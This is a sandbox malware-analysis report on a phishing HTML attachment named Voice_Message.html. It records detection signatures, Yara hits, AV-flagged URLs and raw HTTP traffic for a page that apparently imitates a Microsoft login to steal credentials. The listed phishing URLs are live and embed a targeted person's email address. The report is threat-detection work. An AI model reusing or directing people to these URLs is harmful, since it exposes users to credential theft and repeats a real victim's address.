Edit tour

Windows Analysis Report
Voice_Message.html

Overview

General Information

Sample name:	Voice_Message.html
Analysis ID:	1446345
MD5:	55bc08e9aa5464178301b35b179c35d1
SHA1:	fbdeea36dbcbc081daee899d9c77aea9f139d2b8
SHA256:	8aad466d43901097579b1d4e40b1b02e4b9121aad12c7d8347c7c648f37aae5c
Infos:

Detection

HTMLPhisher

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

HTML file submission requesting Cloudflare captcha challenge

Yara detected HtmlPhish10

AI detected suspicious javascript

Detected javascript redirector / loader

HTML document with suspicious name

HTML document with suspicious title

HTML page contains suspicious base64 encoded javascript

Phishing site detected (based on logo match)

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden URLs or javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

JA3 SSL client fingerprint seen in connection with other malware

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3444 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Voice_Message.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4548 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1880,i,10552325245212046545,8091403860869948201,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_161	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

HTML

Source	Rule	Description	Author	Strings
5.7.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
4.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://fmzd.oryz0.com/J4j5iUo/#Bana.tannhauser@servier.com	SlashNext: Label: Credential Stealing type: Phishing & Social Engineering
Source: https://fmzd.oryz0.com/efncIwTEL0emqS7847WOvPGnqQHZkl99	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/rs446YaMsFkkugl9Pul1200uv39	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/89jdsKZZPGQNuWNL3spE66GQefg2RTpL1ab74	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/ghlTMvE4b8h9VqD9PHj478Jq41suklef17SOWERHgie6efNydg212202	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/cbq0IetkuWlrtwBlXfolvJEvwJ4narxbsRdyPVXx7o	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/klgF5dnNHAlDrc6qSyelLuefIYXo4YwvCKst4HwTl55Gv89VSB1BFMlexg5FVpicEMLp0yz230	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/klES0oQxnTwlNEPXlpWhEGCgQuaNvEYKtWepyzlTMJnMqfQIQ17GyYl87Kpzxg56163	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/uvhsHf7kvdLkQQERLIIhKast6Nm88PiJoYHda69V12127	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/23qqWZLmsD3HLvv6Ec6898LDDvxy66	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/qr20H0d35tQZAutTNiucMwy1MlHakR3YcrZo0tnYirWRstFyj2ubgC4wb4NxZpZ4YMOdXVmRQWDfa6Gcd237	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/J4j5iUo/?VBana.tannhauser@servier.com	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/xy9dtplWirs6mgh22	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/opLn8R2bvalouDZIsfJC2D675VU6q0KINughjnNSWNC6RbcDybd9dzpVqjMkI49Tavcd200	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/yz5tdqOr50ejUSGpe1C7HeYWSLmn2C5mz2MZ6g4GFMMA90180	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/kldBaTGaMI14H8C3GglM670jDjijX4stNOD81yGNtSywFAVJ0xeo20J7xU1GbFuv220	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/qrqHkBdf3yLyCoYX6uaAmMyA5ZEDG2fGZmnmukiIeb0S4uAmfsMp845136	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/90vEsJ85xMt99R67cpJjuv59	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/J4j5iUo/	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/stngs7CSgQFKxZNNR0YNEgHCMncf0xkMwmn6oWjReIJLD3PlEosS75Ba75nXuef257	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/efsfnXL1mkSjhUqqyhqkpk4F8mijDEqazbDtkPlc578150	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/56U8OCnuR5DmPArMrtJ18ijqNNqUgDps4geJeU89106	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/yzT75NuNHtjHz278hkeAUSuqr50	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/12804PhK6xy6Llhw6720	Avira URL Cloud: Label: malware
Source: https://fmzd.oryz0.com/bftRxKkv3PsBzf1QWLiUOYZ6VtdhMdfdCpGmapVuoYCxCnUeyTVRLL4g	Avira URL Cloud: Label: malware

Phishing

AI detected phishing page

Source: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV

LLM: Score: 9 brands: Microsoft Reasons: The URL is highly suspicious with a random string and does not match the legitimate Microsoft domain. The page mimics the Microsoft login page, which is a common tactic in phishing attacks. DOM: 4.6.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 5.7.pages.csv, type: HTML
Source: Yara match	File source: 4.6.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_161, type: DROPPED

AI detected suspicious javascript

Source: https://fmzd.oryz0.com/J4j5iUo/#Bana.tannhauser@servier.com	LLM: Score: 7 Reasons: The code includes suspicious elements such as preventing form submission, dynamically setting a form value, and making a POST request to an obfuscated URL. The redirection to another obfuscated URL upon an error response is also concerning. These behaviors are commonly associated with phishing or malicious activities. DOM: 2.2.pages.csv
Source: https://fmzd.oryz0.com/J4j5iUo/#Bana.tannhauser@servier.com	LLM: Score: 7 Reasons: The JavaScript code is obfuscated using base64 encoding and then decoded and executed. This is a common technique used by malicious scripts to hide their true functionality. Additionally, the code includes external scripts from third-party sources, which could potentially be used to load malicious content. The presence of hidden input fields with potentially sensitive information (e.g., IP address) further raises suspicion. While the code does not immediately exhibit overtly malicious behavior, the obfuscation and external dependencies warrant a higher risk score. DOM: 2.2.pages.csv
Source: file:///C:/Users/user/Desktop/Voice_Message.html	LLM: Score: 8 Reasons: The JavaScript code is heavily obfuscated, which is a common technique used to hide malicious intent. The code includes functions that appear to be designed to detect debugging or tampering, which is another red flag. Additionally, the presence of an email address in the code could indicate an attempt to phish or exfiltrate data. While obfuscation alone does not confirm malicious intent, the combination of these factors suggests a high risk. DOM: 1.1.pages.csv

Detected javascript redirector / loader

Source: Voice_Message.html

HTTP Parser: Low number of body elements: 1

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/Voice_Message.html

Tab title: Voice_Message.html

HTML page contains suspicious base64 encoded javascript

Source: https://fmzd.oryz0.com/J4j5iUo/#Bana.tannhauser@servier.com

HTTP Parser: Base64 decoded: <script>

Phishing site detected (based on logo match)

Source: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV	Matcher: Template: microsoft matched
Source: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV#	Matcher: Template: microsoft matched

Source: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV

HTTP Parser: Number of links: 0

Source: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://fmzd.oryz0.com/J4j5iUo/#Bana.tannhauser@servier.com

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script> <meta http-equiv="X-UA-Compatible" c...

Source: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV

HTTP Parser: Title: 7gFlnG5QwU does not match URL

Source: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV	HTTP Parser: Invalid link: Terms of use
Source: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV	HTTP Parser: Invalid link: Privacy & cookies

Source: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV

HTTP Parser: <input type="password" .../> found

Source: Voice_Message.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Voice_Message.html	HTTP Parser: No favicon
Source: https://fmzd.oryz0.com/J4j5iUo/#Bana.tannhauser@servier.com	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m1id3/0x4AAAAAAAV0fMDGgBWidsCj/auto/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m1id3/0x4AAAAAAAV0fMDGgBWidsCj/auto/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m1id3/0x4AAAAAAAV0fMDGgBWidsCj/auto/normal	HTTP Parser: No favicon
Source: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV	HTTP Parser: No favicon

Source: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV

HTTP Parser: No <meta name="author".. found

Source: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 2.19.244.127:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49818 version: TLS 1.2

Source: global traffic

TCP traffic: 192.168.2.4:53170 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 104.17.3.184 104.17.3.184
Source: Joe Sandbox View	IP Address: 13.227.219.11 13.227.219.11
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 151.101.66.137 151.101.66.137
Source: Joe Sandbox View	IP Address: 104.17.2.184 104.17.2.184

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.244.127
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.244.127
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.244.127
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.244.127
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.244.127
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.244.127
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.244.127
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.244.127
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.244.127
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.221.240
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50

Source: global traffic	HTTP traffic detected: GET /J4j5iUo/ HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://fmzd.oryz0.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://fmzd.oryz0.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/695da7821231/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://fmzd.oryz0.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m1id3/0x4AAAAAAAV0fMDGgBWidsCj/auto/normal HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://fmzd.oryz0.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=EyWPgkl6brmHmv3&MD=UKBhH+X2 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8883b00e0e9a437b HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m1id3/0x4AAAAAAAV0fMDGgBWidsCj/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m1id3/0x4AAAAAAAV0fMDGgBWidsCj/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8883b00e0e9a437b/1716453068102/3013c2b9a2d1102e1154d4cf97949178b82bc8ea8e6aa134fa96c3d64637a66c/Sru2YBd1981juGi HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m1id3/0x4AAAAAAAV0fMDGgBWidsCj/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/442014365:1716448514:KMy_X2Tvwq2thYv_4HPGwjZdG0QkodoJ4s-HxRGfQ5M/8883b00e0e9a437b/b2c3c6268648b88 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8883b00e0e9a437b/1716453068102/IU6kT65JcIpG5EF HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m1id3/0x4AAAAAAAV0fMDGgBWidsCj/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8883b00e0e9a437b/1716453068102/IU6kT65JcIpG5EF HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/442014365:1716448514:KMy_X2Tvwq2thYv_4HPGwjZdG0QkodoJ4s-HxRGfQ5M/8883b00e0e9a437b/b2c3c6268648b88 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/442014365:1716448514:KMy_X2Tvwq2thYv_4HPGwjZdG0QkodoJ4s-HxRGfQ5M/8883b00e0e9a437b/b2c3c6268648b88 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /J4j5iUo/ HTTP/1.1Host: fmzd.oryz0.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://fmzd.oryz0.com/J4j5iUo/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjFGdWttVUZIb1ppekVudkdIdmNPdFE9PSIsInZhbHVlIjoiK2xiQlRhVG9wcjAwZW5ObzQwdWNGQ1lqV2FVSFF0VktEQWpZQnJacmYrS2s4aHVNdjhaSDU1SkVST1lBTExRalBqU1E2eVNtdFpHNkVxaTY2akRPaFNOMk00Qy84SjZDaVhhQnZ0RVNqcFI2ekd1TWJVU0ptcHN0anE5aDEwZEMiLCJtYWMiOiIyMzFmMjg3YzI1NjY5N2NhNGQ1ZWNiNWQ2OGRmODk1NDNkOTA2Yjk4NGI1NWNlNjNjMzRiOTA4ZWJlNzkwMjNlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InVWeXQrZ0tDZy9EY0Y2T0ZicUZSa3c9PSIsInZhbHVlIjoiYTV4NkdEQTFmNWtZTk1qK1ordnJTSjIrdDk5U1p2R1VmUGIva1dhUnZYeGFLenlOK0t2NC9FYmRUZnhxVmFVNVFwYUkrVHpzSXJhVFMxYzcwVUc1ek5XVXgwRnFFMkhMYzdZZEtMQlJicFhsSXFsZDQzdS9CWlNRNTVDSU1JOXYiLCJtYWMiOiIyMGE1MTI4ZjNkNjQ0MDdkMDZkMzAzNDQ3ZjBlY2NmNGQwYmZiYWU3YzgwMDZiNzAzNTk4M2M4NGQ5YTQ3ZWE0IiwidGFnIjoiIn0%3D
